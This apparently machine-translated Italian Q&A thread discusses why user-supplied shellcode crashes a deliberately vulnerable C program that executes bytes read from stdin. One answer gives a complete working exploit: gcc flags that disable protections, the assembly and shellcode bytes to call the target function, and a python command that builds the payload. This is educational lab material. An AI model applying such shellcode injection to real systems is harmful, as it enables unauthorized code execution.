Errore di errore di segmentazione quando si chiama la funzione definita dall'utente in shellcode

1

Ricevo l'errore di errore di segmentazione quando ho chiamato la funzione "target" nel mio shellcode.

Ecco il codice C del programma:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

#define AMOUNT_OF_STUFF 50

void target(){
    //Magic Happens Here   
}


void function_x(){
    char * stuff = (char *)mmap(NULL, AMOUNT_OF_STUFF, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
    if(stuff == MAP_FAILED){
        exit(0);
    }
    printf("You can type %d bytes:\n", AMOUNT_OF_STUFF);
    fflush(stdout);
    int len = read(STDIN_FILENO, stuff, AMOUNT_OF_STUFF);
    if(len == 0){
        exit(0);
    }
    void (*func)() = (void (*)())stuff;
    func();      
}

int main(){
    function_x();
    return 0;
}

Ho ottenuto l'opcode dell'istruzione "CALL TARGET_FUNCTION_ADDRESS" che è "0xfffef5e8" e l'ho salvata in un file come: echo -e "\ xe8 \ xf5 \ xfe \ xff" > shellcode

Poi ho passato il mio shellcode come input al programma come:

    (gdb) r < shellcode
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /home/rakesh/a.out < shellcode
    You can type 50 bytes:

    Breakpoint 1, 0x08048615 in function_x ()
    (gdb) si
    0xb7fd5000 in ?? ()

    (gdb) x/10w $eip
    0xb7fd5000: 0xfffef5e8  0x0000000a  0x00000000  0x00000000
    0xb7fd5010: 0x00000000  0x00000000  0x00000000  0x00000000
    0xb7fd5020: 0x00000000  0x00000000

    (gdb) si
    0xc2fd4efa in ?? ()

    (gdb) si

    Program received signal SIGSEGV, Segmentation fault.
    0xc2fd4efa in ?? ()
    (gdb) 
    [46]+  Stopped                 gdb ./a.out

Vedo che EIP sta puntando al mio shellcode dato ma ancora non funziona come previsto.

Qualcuno può dirmi perché il mio shellcode non funziona ??

    
posta Rakesh Mane 09.04.2017 - 18:47
fonte

2 risposte

4

Come ha detto Joshua, basta spostare (e) l'indirizzo della funzione obiettivo in un registro e chiamare quel regsiter. Assemblalo e usa i suoi opcode, perché hai bisogno di uno shellcode (opcodes) che verrebbe eseguito, e non di un indirizzo di funzione.

Quando func() viene chiamato dopo il typecasing ("stuff") in un puntatore a funzione come hai scritto

void (*func)() = (void (*)())stuff;
func();

Exploit:

Ho usato il tuo codice C e ho modificato la funzione di destinazione un po 'per

void target(){
    //Magic Happens Here
        puts("You won");
        exit(0);
}

Compilato con i seguenti flag gcc: gcc -fno-stack-protector -z execstack vuln.c

L'ho fatto su architettura a 64 bit, quindi il file binario è ELF a 64 bit. Ora esegui il binario in gdb e trova l'indirizzo della funzione "target" come:

(gdb) p target
$1 = {<text variable, no debug info>}' **0x4006dd** '<target>

Vai qui e assembla le seguenti istruzioni x64 (per x86 usa eax invece di rax). Esempio:

mov rax ,0x4006dd
call rax

Fornisce il seguente shellcode: **\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0**

Ora scrivilo nel file

python -c "print '\x48\xC7\xC0\xDD\x06\x40\x00\xFF\xD0'" > exp
root@BOX:~# cat exp| ./a.out

Puoi digitare 50 byte: **You won**

root@BOX:~#'

Così eseguendo la funzione target.

    
risposta data 10.04.2017 - 00:52
fonte
1

Non sei sicuro di dove hai ottenuto gli opcode per la tua chiamata, ma proverei i codici opzionali per inserire l'indirizzo della funzione che vuoi chiamare in un registro e quindi effettuare una chiamata a quel registro. Puoi anche usare un'istruzione jmp, a meno che tu non debba tenere traccia di eip +1 prima della chiamata.

Il programma finisce per tentare di accedere alla memoria al di fuori dell'area utente, che è il motivo del segfault.

    
risposta data 09.04.2017 - 21:04
fonte